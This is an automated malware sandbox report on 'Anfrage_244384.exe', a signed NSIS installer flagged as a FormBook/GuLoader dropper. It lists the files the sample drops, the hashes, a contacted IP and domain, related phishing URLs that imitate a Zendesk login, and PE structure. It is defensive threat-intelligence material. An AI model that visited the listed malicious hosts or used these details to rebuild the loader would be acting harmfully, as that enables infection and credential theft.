                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Number of analysed new started processes analysed:5
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Sample name:Anfrage_244384.exe
                    Detection:MAL
                    Classification:mal84.troj.evad.winEXE@3/10@1/1
                    EGA Information:
                    • Successful, ratio: 100%
                    HCA Information:
                    • Successful, ratio: 88%
                    • Number of executed functions: 47
                    • Number of non-executed functions: 294
                    Cookbook Comments:
                    • Found application associated with file extension: .exe

                    Warnings

                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                    • VT rate limit hit for: Anfrage_244384.exe

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    09:59:25API Interceptor3x Sleep call for process: Anfrage_244384.exe modified

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    188.40.95.144Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                      Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                        5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                          5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                            Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                              Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                  5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse

                                      Domains

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      familytherapycenter.rsAnfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144

                                      ASNs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      HETZNER-ASDEscripttodo.ps1Get hashmaliciousUnknownBrowse
                                      • 46.4.134.23
                                      scripttodo (3).ps1Get hashmaliciousUnknownBrowse
                                      • 46.4.134.23
                                      https://assets-fra.mkt.dynamics.com/899008e9-019b-ef11-8a66-6045bd6cbcf8/digitalassets/standaloneforms/eef8cd2b-b69d-ef11-a72c-000d3ae7186cGet hashmaliciousUnknownBrowse
                                      • 94.130.67.118
                                      AWB_NO_907853880911.exeGet hashmaliciousFormBookBrowse
                                      • 144.76.190.39
                                      https://login-zendesk-account.servz.com.pkGet hashmaliciousHTMLPhisherBrowse
                                      • 85.10.196.124
                                      https://login-zendesk-account.servz.com.pkGet hashmaliciousHTMLPhisherBrowse
                                      • 85.10.196.124
                                      https://login-zendesk-account.servz.com.pkGet hashmaliciousHTMLPhisherBrowse
                                      • 85.10.196.124
                                      https://google.com:login@login-zendesk-account.servz.com.pk/index.htmlGet hashmaliciousHTMLPhisherBrowse
                                      • 85.10.196.124
                                      ch89yHIa99.exeGet hashmaliciousDucktailBrowse
                                      • 138.201.8.186
                                      ub7ZX9i3k6.exeGet hashmaliciousDucktailBrowse
                                      • 138.201.8.186

                                      JA3 Fingerprints

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      37f463bf4616ecd445d4a1937da06e19LkzvfB4VFj.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      gjbrNWQeg1.exeGet hashmaliciousGuLoaderBrowse
                                      • 188.40.95.144
                                      kJyOzzBNim.exeGet hashmaliciousGuLoaderBrowse
                                      • 188.40.95.144
                                      7DqFctwwsk.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                      • 188.40.95.144
                                      6cUI1ZCp5E.exeGet hashmaliciousGuLoaderBrowse
                                      • 188.40.95.144
                                      FcRCSylOMs.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      kChWJJNUHz.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                      • 188.40.95.144
                                      Y725GT96z1.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                      • 188.40.95.144
                                      RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exeGet hashmaliciousGuLoader, RemcosBrowse
                                      • 188.40.95.144
                                      z3356_DNF_E2I36P5K_26.msiGet hashmaliciousUnknownBrowse
                                      • 188.40.95.144

                                      Dropped Files

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      C:\Users\user\AppData\Local\Temp\nsw3989.tmp\System.dllAnfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                        Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                          5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                            5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              Anfrage24438.zipGet hashmaliciousFormBook, GuLoaderBrowse
                                                Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                  Anfrage24438.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                    5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                      5112024976.exeGet hashmaliciousFormBook, GuLoaderBrowse

                                                        Created / dropped Files

                                                        C:\Users\user\AppData\Local\Temp\nsw3989.tmp\System.dll

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):11264
                                                        Entropy (8bit):5.7711167426271945
                                                        Encrypted:false
                                                        SSDEEP:192:OPtkumJX7zB22kGwfy0mtVgkCPOsX1un:/702k5qpdsXQn
                                                        MD5:3F176D1EE13B0D7D6BD92E1C7A0B9BAE
                                                        SHA1:FE582246792774C2C9DD15639FFA0ACA90D6FD0B
                                                        SHA-256:FA4AB1D6F79FD677433A31ADA7806373A789D34328DA46CCB0449BBF347BD73E
                                                        SHA-512:0A69124819B7568D0DEA4E9E85CE8FE61C7BA697C934E3A95E2DCFB9F252B1D9DA7FAF8774B6E8EFD614885507ACC94987733EBA09A2F5E7098B774DFC8524B6
                                                        Malicious:false
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                        Joe Sandbox View:
                                                        • Filename: Anfrage244384.exe, Detection: malicious, Browse
                                                        • Filename: Anfrage244384.exe, Detection: malicious, Browse
                                                        • Filename: 5112024976.exe, Detection: malicious, Browse
                                                        • Filename: 5112024976.exe, Detection: malicious, Browse
                                                        • Filename: Anfrage24438.zip, Detection: malicious, Browse
                                                        • Filename: Anfrage24438.exe, Detection: malicious, Browse
                                                        • Filename: Anfrage24438.exe, Detection: malicious, Browse
                                                        • Filename: 5112024976.exe, Detection: malicious, Browse
                                                        • Filename: 5112024976.exe, Detection: malicious, Browse
                                                        Reputation:moderate, very likely benign file
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L.....MX...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                        C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes\nilgedde.mes

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:Matlab v4 mat-file (little endian) Y, numeric, rows 0, columns 0
                                                        Category:dropped
                                                        Size (bytes):354845
                                                        Entropy (8bit):1.2446363869824946
                                                        Encrypted:false
                                                        SSDEEP:768:E2oz5FNvncy2DZRau7W0sxOvPfSfpg5rWuWAAUIdde/FwPPMk/FOuyQv9biuPia6:opho02mYrKiKLFyJ1AIu2
                                                        MD5:DF7A44909B03AB5BC45910B405D9977A
                                                        SHA1:3D0583A7DFB39E559827189E02123F2C983A21D5
                                                        SHA-256:5A3B61A0BC8E81E756374D2A9FF5087FA4496543A635738ACA8911E95D6340D9
                                                        SHA-512:C2B4E951A185FC3FB75109B5CAA554431C1517588D04B8F2BA865F75BE448A0448364BCB84253C9B44579078787DDA616F33666C0C1BF902EC644EBC9A6FE621
                                                        Malicious:false
                                                        Reputation:moderate, very likely benign file
                                                        Preview:..................%.Y.............................[......................z...........................................8.................{................b.......W..........................................#.........................................%....z..................7......................................x.i...+............................................................................8......................................................................................................................-..3..................................................................................|............T...........................#...........\.....A.............................................7..........'.................... ...................].................J.J..........s................................g..............W........................................................................................................$...g..........................................................

                                                        C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes\selefant.kri

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):298017
                                                        Entropy (8bit):1.245520550165085
                                                        Encrypted:false
                                                        SSDEEP:768:nLoDoRi0SWvTrmnVqvh6dzfCaci65UhXqjMctTGA3QBgdRWqrw3q3LFPRvx7H155:DStBsLk6gsifeQIGA0iYRwvy8n
                                                        MD5:B4C9FC75BAB8C9F006A7D9DDBC249F79
                                                        SHA1:70D4047E7E3BB10CF237B82775C89A1D92700162
                                                        SHA-256:1D84F9462C244A4500C213DF8DD79971B286392CA02BC536F5F6C3EEBC94E7E3
                                                        SHA-512:2E2279CB3755AC5708ABB30E8342235B7F0A24223E3D6F4B2B21B62E59012A5126ADC1BD73D7B64E72634728DECCE7A049D3E6F5055F8D74E959BEE54EDBEA4C
                                                        Malicious:false
                                                        Reputation:moderate, very likely benign file
                                                        Preview:............................_..,...........................................................;...........................................................7...O..................'.........................................P.........L................@....................8....................v..................G.....h.............................................m..+b.....................................................m.......C.....................................i..........................................................................................,................................C..........a...........Y......,...........q....................................................................................................................................................................................................................p................S................L..........)..............................................kF........^........E.................................................

                                                        C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes\speil.int

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):497497
                                                        Entropy (8bit):1.2525295412969446
                                                        Encrypted:false
                                                        SSDEEP:1536:rbNZ/Rg8JCCgxT2eIgde/lBWTTBwGceukAdTYz91n6n:9NRg836IVLWHeGxKYQ
                                                        MD5:F3F6C6E37EAB51D3B9B9C059C1EB874C
                                                        SHA1:401E5740CCFBC1DA83BD9B426C11020C812986F2
                                                        SHA-256:B5A607F50C65E41B2BFF7F852F27373177D326D9DFA1040E1C2B3AF62F757BAB
                                                        SHA-512:060B328595ADAF9E85B390AA2AACEEFE4C6197294B7C45594798755C5E04BE1E2110F617B51E38D7DF423CD807FA81B30702CE2548563980B9CA195ECF2C11A7
                                                        Malicious:false
                                                        Reputation:moderate, very likely benign file
                                                        Preview:.........................................o................j........................................c..6......................................../....................................................m...............................r.D................................T.........................................................8....................x...................................................................!.....O....\................G.........................................G........n....."................:.........................................................................................................@.......<..................................................i.......k..............................................................................................................................=.........g.........................k.............A.......[........................)...........e................................b.............................................6.............

                                                        C:\Users\user\AppData\Roaming\secretaryships\Hemmeligt70.Bly

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):58676
                                                        Entropy (8bit):4.585503260397429
                                                        Encrypted:false
                                                        SSDEEP:768:hUm9EMv+RHOORqqYH3VEwnRnXNcmhdmPJPU9FLd86+qWhTeFVk6t6MmaEEXrDH9S:Om9chszXJlVdmPJuTWcJ6+3O9Rh
                                                        MD5:CED0BE5E2D0028EFD3F1249AC1126BA3
                                                        SHA1:3902CD952EA81D8A7D9E0FC1F17972967DDD917D
                                                        SHA-256:4B029ECD2CE2EB26D9686573D7D891E689A717672BB8F76903BC44EC43DA2955
                                                        SHA-512:7F14E8FD856D1D1E2FD89C692685EB70C462BC1C202C4946CC1B0D27E59264278264C3C7EA72E63F9B9BA35C434FAAB305724827A4C8D63ADBE78D8C4E4759FD
                                                        Malicious:false
                                                        Preview:..ll..__.....|.....VVVVVV.*........b...........YY...33333333333.A.KK.---........].{{{{...KK.....T.....................rr...................333...........*..Q..5....................11.............'........................7...|||||||..............V.........j.E.......................}....///................''''.......y....>............YYYY...ff.<.....WWWW............................................................................H.....................qq..'''.~..Y.....................@.....mmm.....;..kkkk.......RRRRR...........zz.............UU.....7777...........jj....n...............9.p....,...........Z....s.;..............BBBBBBBB..>.Q.......W........CCCC.xxxx.....FFFF........)......,,.............:::..[[[........TTT.[........PPPP.........S............////.......................^............!..JJ.,.\\\.........ff.........._........ ......hh.................``......................kkkkkk..................................f.Z.........DDDD...z..................R.].;.......R...OO............

                                                        C:\Users\user\AppData\Roaming\secretaryships\Tingid.pig

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):476422
                                                        Entropy (8bit):1.2552031449987011
                                                        Encrypted:false
                                                        SSDEEP:1536:zGmPxn4XjZOVebnJjvYbTUBhGKcjnO/EeMHPm:Sm6zYVb849nH6
                                                        MD5:F236A74F28F6F32F81F1347D9F129268
                                                        SHA1:D5BE521661EE4BF3C186C3EAA0411DD5DF6F3EBA
                                                        SHA-256:BEED12F00B12156FF9FA63595DE11A5C01493CF5F85488CB2E159CF1A8236778
                                                        SHA-512:D6AD37DDF7B6B38B90F09186AC81C6A76F16F9A4613D6113F10D7B2A4F68129E570EFFC77A19B04F276277B7A569EBD5FD4A48D2E2E72CEA8CEE5A8F67CC5EF4
                                                        Malicious:false
                                                        Preview:.................................................................7...........................).....$....%..........................#.....M.....................................6.........N.........).......................................................................................a..............t..................................................T.........................................@...........................+..U...................A'..............L..................................................../.............2..............k.........................................................................................................&.............................................>...........................................................|..........................?...............................&...................................n.q......}....................................E......................................................p........................................6..........

                                                        C:\Users\user\AppData\Roaming\secretaryships\anya.por

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):448073
                                                        Entropy (8bit):1.2554221597008608
                                                        Encrypted:false
                                                        SSDEEP:1536:i9EUBeeNEu//hQg77ea6OP/B1p7to4APRUYZAkxe:qFZO5u/B1pBo510
                                                        MD5:3AD8D5763CA124C7392D1F4F53D24F0E
                                                        SHA1:17D48EF1AB8D52A31821A069C225D45201535899
                                                        SHA-256:3965D74DBD296AA8E7524C773FE81FE63A78355145502153CB577E9CB136DDA0
                                                        SHA-512:EE8BDE196A33297BFD4E51ED01E7D0178CF457497E822771D2BE3C58A97681AC52CD19A2BBBB71220F06F6D936A6AA67966295DF3C676104B9643F07CBE37EC8
                                                        Malicious:false
                                                        Preview:............y...k......... ....L..............................................................c....................d...........................p..............R.................................................5...............f.......{......................................................................................J...........@.................E....h...............0................M.................'..............................................-...............Z.........................{...............T............c.W..............n....................H...........................................|...................................^...........w.................c...............................).....................................y.....<.......................................T........................................................3.....S..<.......?........................................1!......^.............................t................................................G........

                                                        C:\Users\user\AppData\Roaming\secretaryships\besiddertrang.gra

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):362911
                                                        Entropy (8bit):1.2562704713226092
                                                        Encrypted:false
                                                        SSDEEP:768:uFKWW9YiDlIMhmjVacve6tEvHBLNB3tQsrTpPH8mZLAUFwsahGF48hDpWRcKthwz:u5W9yMJLNbJ1CbFV3Gd6Ie48dPs
                                                        MD5:8AB9852274FA64E09B5711A2E7D94AAB
                                                        SHA1:2C39272B969040B4C185EE4A69A5F04FD1F7C0DB
                                                        SHA-256:FCD149788A3530E5E2CF5E17A09B1DE51EB67B51F3E8941E7091F88B610373F1
                                                        SHA-512:6761208A22E8D93D70465E6DD9CF1B53826AA6BF0418DCCB0A6E5816A183790A61AD67EDCF52D21366975014701107563CE47A0465CEE801300493AEB566CC69
                                                        Malicious:false
                                                        Preview:....-......................................................................?d..........\.a.....................................8...............x...........e...................................)...............+..............................................i...................................................................................................................4......j................................................................................"......................................Z.....%...................................................................................................F............................................................................g...............................E./.....................................................................................Y........#.......F.......n.M.........................................................................................................................W..................................................

                                                        C:\Users\user\AppData\Roaming\secretaryships\darbyite.txt

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):497
                                                        Entropy (8bit):4.296439217688297
                                                        Encrypted:false
                                                        SSDEEP:12:kdESMQrs7ZnIyxrqlLIRF0+UAkN0lCGsMqejQlJ8:QjMfpIuqPAEsOi
                                                        MD5:1560371431CEB91914AF5B9D0D307EE1
                                                        SHA1:182B8979D4D0F9F26366653638A9C92FDAFF0D56
                                                        SHA-256:72A2010CDB6ED407FCA17CDB181D5F01801F16040C2C9443BD7CB5032CDAAEF7
                                                        SHA-512:865EF0F7636149A47043183583635C2A4306BF49565166760672B88F0F9DA89A529FE4166DFF496327304E56A8A460B8113E5F3D58601C0B8A3EFAABD792AF3D
                                                        Malicious:false
                                                        Preview:avenging piktogrammernes duecento korsedderkop skurvognsudlejningernes fnges ranaria..kavitet ubetalelige forhalingen passado nautically formaalsbestemmelsernes admiralsuniformers..franchot unimposing rimfire.bemba barsac unflaked skbnesvanger.tige backchats leveret viktualieforretningernes processal dignitas altica epoxyharpikset sergenter forureningsbegrnsedes..sforsvaret antiquating photomechanically enighedernes firepot megrez almon aeneus madrassen thrallborn denoteres slipup tvebakken..

                                                        C:\Users\user\AppData\Roaming\secretaryships\straffespark.Sek

                                                        Download File
                                                        Process:C:\Users\user\Desktop\Anfrage_244384.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):284322
                                                        Entropy (8bit):7.771418895856943
                                                        Encrypted:false
                                                        SSDEEP:6144:fOiGjlSjER8DMKEzL4eNm6Vkg9XNf805ft+MODD+T:GCjEa4/zLD+05ek
                                                        MD5:301AF874579F9CE64FCE51A01F616625
                                                        SHA1:6D35516DA84E4342C8E094023B60175BAB5EDCEB
                                                        SHA-256:35BE42786F6EF050A3BAEA615517E40958E6140A089E7D4A83283F1708994C03
                                                        SHA-512:3275C3B39115C29FE923C415D36F4932C279018994E636CE6606C5604B6FA5DA984C7244BE7017AC78204F6F8D90AE7706B1E729FAD91EAEB3C2020A610755E4
                                                        Malicious:false
                                                        Preview:.............00.....................................................WW...:...GGG..ll......................;;;....U.........<.....M..........JJ..........K....................l...###........................;;...\\.t.999.lllll..ee.LL...........^^^.......CC...@.......(............................4....................9.........tt.....................'..........1.................\....GGG.....^........3.ZZ.:.w.....----...C.......ccccc...d.&&.....I..>>>>...www.......k.......o...~~................9......................F.A...XX.........dd........A..00...++..............%%%%...............NNNN....QQ.[[[......ffffff........0.........@.r..|.i............KK......y...,,,,,,....TTTTT...a........CCC.........................`.....((.............RR.........7...x.......#.y............1..................._........TTTT.gg.................k........HHHH...................$$..................b..........((.?.=====....................M.B.j.!........sss....U..__...............$..;;...........////...x....WW.BB..3

                                                        Static File Info

                                                        General

                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                        Entropy (8bit):7.578007574835592
                                                        TrID:
                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                        • DOS Executable Generic (2002/1) 0.02%
                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                        File name:Anfrage_244384.exe
                                                        File size:1'240'824 bytes
                                                        MD5:b03f23199ae987a7bce0ff1a0d742e3e
                                                        SHA1:f454c8de72926ee9f98db7056fa89f0c3ada9666
                                                        SHA256:eda014e3b658bfbbfd141c1459a3414d9ee8b7c139a3976fe732141fa9cf3f80
                                                        SHA512:01ccdc0f586a8926a56f0d3bfee91c5e882bff5df84cbb5363df6681fb62863a8075af8261bb72ecf2360d9d4dc4552dddb4e1ec1da002c24b9416ff0d3f95be
                                                        SSDEEP:24576:aCAoDyk/vnt3h1CzLuTIv08yZVk7ku8h7w6/t338euHdB4bU4VD4C:aCAfqvtx1UuTIMfg7ku8Vfx3/uHHSU4t
                                                        TLSH:E445124337660AA5D45984F7D75ACD30BFA3BC7B018006EB325CB71A9ABA3F0452B539
                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F.*.....F...G.v.F.*.....F...v...F...@...F.Rich..F.........................PE..L...<.MX.................b...|.....

                                                        File Icon

                                                        Icon Hash:076d76bb4c713307

                                                        Static PE Info

                                                        General

                                                        Entrypoint:0x4031a3
                                                        Entrypoint Section:.text
                                                        Digitally signed:true
                                                        Imagebase:0x400000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                        Time Stamp:0x584DCA3C [Sun Dec 11 21:50:52 2016 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:4
                                                        OS Version Minor:0
                                                        File Version Major:4
                                                        File Version Minor:0
                                                        Subsystem Version Major:4
                                                        Subsystem Version Minor:0
                                                        Import Hash:b78ecf47c0a3e24a6f4af114e2d1f5de

                                                        Authenticode Signature

                                                        Signature Valid:false
                                                        Signature Issuer:CN=immechanical, O=immechanical, L=Montiers, C=FR
                                                        Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                        Error Number:-2146762487
                                                        Not Before, Not After
                                                        • 26/07/2024 11:01:31 26/07/2027 11:01:31
                                                        Subject Chain
                                                        • CN=immechanical, O=immechanical, L=Montiers, C=FR
                                                        Version:3
                                                        Thumbprint MD5:8DCDBA681539229FD7339C836C203A51
                                                        Thumbprint SHA-1:9C6E1EF295C999DBD8E2212BF532CD5F5E425BC0
                                                        Thumbprint SHA-256:E345B14576959ED8D4BF59A4660594FC647CCA9157F84BFFB114D15B60339C48
                                                        Serial:313E1C1AB85C6CF76B122FEB885EF111CAA7CE29

                                                        Entrypoint Preview

                                                        Instruction
                                                        sub esp, 00000184h
                                                        push ebx
                                                        push esi
                                                        push edi
                                                        xor ebx, ebx
                                                        push 00008001h
                                                        mov dword ptr [esp+18h], ebx
                                                        mov dword ptr [esp+10h], 0040A198h
                                                        mov dword ptr [esp+20h], ebx
                                                        mov byte ptr [esp+14h], 00000020h
                                                        call dword ptr [004080A8h]
                                                        call dword ptr [004080A4h]
                                                        cmp ax, 00000006h
                                                        je 00007F4574BEBA73h
                                                        push ebx
                                                        call 00007F4574BEE9E1h
                                                        cmp eax, ebx
                                                        je 00007F4574BEBA69h
                                                        push 00000C00h
                                                        call eax
                                                        mov esi, 00408298h
                                                        push esi
                                                        call 00007F4574BEE95Dh
                                                        push esi
                                                        call dword ptr [004080A0h]
                                                        lea esi, dword ptr [esi+eax+01h]
                                                        cmp byte ptr [esi], bl
                                                        jne 00007F4574BEBA4Dh
                                                        push ebp
                                                        push 00000009h
                                                        call 00007F4574BEE9B4h
                                                        push 00000007h
                                                        call 00007F4574BEE9ADh
                                                        mov dword ptr [0042F404h], eax
                                                        call dword ptr [00408044h]
                                                        push ebx
                                                        call dword ptr [00408288h]
                                                        mov dword ptr [0042F4B8h], eax
                                                        push ebx
                                                        lea eax, dword ptr [esp+38h]
                                                        push 00000160h
                                                        push eax
                                                        push ebx
                                                        push 00429828h
                                                        call dword ptr [00408174h]
                                                        push 0040A188h
                                                        push 0042EC00h
                                                        call 00007F4574BEE5D7h
                                                        call dword ptr [0040809Ch]
                                                        mov ebp, 00435000h
                                                        push eax
                                                        push ebp
                                                        call 00007F4574BEE5C5h
                                                        push ebx
                                                        call dword ptr [00408154h]

                                                        Rich Headers

                                                        Programming Language:
                                                        • [EXP] VC++ 6.0 SP5 build 8804

                                                        Data Directories

                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x85340xa0.rdata
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x4b0000x64f00.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x12cc180x22e0
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0x80000x298.rdata
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                        Sections

                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        .text0x10000x60710x620086ec2a2da0012903b23e33f511180572False0.6687659438775511data6.434342820031866IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                        .rdata0x80000x13520x1400cd090b7c5bd9ae3da2a43d4f02ef98b7False0.4599609375data5.237297010093776IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .data0xa0000x254f80x600e98382d1559cdefaafaf45200fe1faf0False0.4544270833333333data4.037252180314336IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .ndata0x300000x1b0000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .rsrc0x4b0000x64f000x650004b35ddad0638afdc14d8651f31f9f72eFalse0.5893022896039604data6.144636705094013IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                        Resources

                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                        RT_BITMAP0x4b4000x368Device independent bitmap graphic, 96 x 16 x 4, image size 768EnglishUnited States0.23623853211009174
                                                        RT_ICON0x4b7680x4180cDevice independent bitmap graphic, 255 x 510 x 32, image size 260100EnglishUnited States0.5566530003727171
                                                        RT_ICON0x8cf780x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536EnglishUnited States0.6340796167041287
                                                        RT_ICON0x9d7a00x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 36864EnglishUnited States0.6664652091654404
                                                        RT_ICON0xa6c480x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16384EnglishUnited States0.6956188001889466
                                                        RT_ICON0xaae700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216EnglishUnited States0.6902489626556016
                                                        RT_ICON0xad4180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096EnglishUnited States0.724437148217636
                                                        RT_ICON0xae4c00x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304EnglishUnited States0.7479508196721312
                                                        RT_ICON0xaee480x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024EnglishUnited States0.799645390070922
                                                        RT_DIALOG0xaf2b00x144dataEnglishUnited States0.5216049382716049
                                                        RT_DIALOG0xaf3f80x13cdataEnglishUnited States0.5506329113924051
                                                        RT_DIALOG0xaf5380x100dataEnglishUnited States0.5234375
                                                        RT_DIALOG0xaf6380x11cdataEnglishUnited States0.6091549295774648
                                                        RT_DIALOG0xaf7580xc4dataEnglishUnited States0.5918367346938775
                                                        RT_DIALOG0xaf8200x60dataEnglishUnited States0.7291666666666666
                                                        RT_GROUP_ICON0xaf8800x76dataEnglishUnited States0.7457627118644068
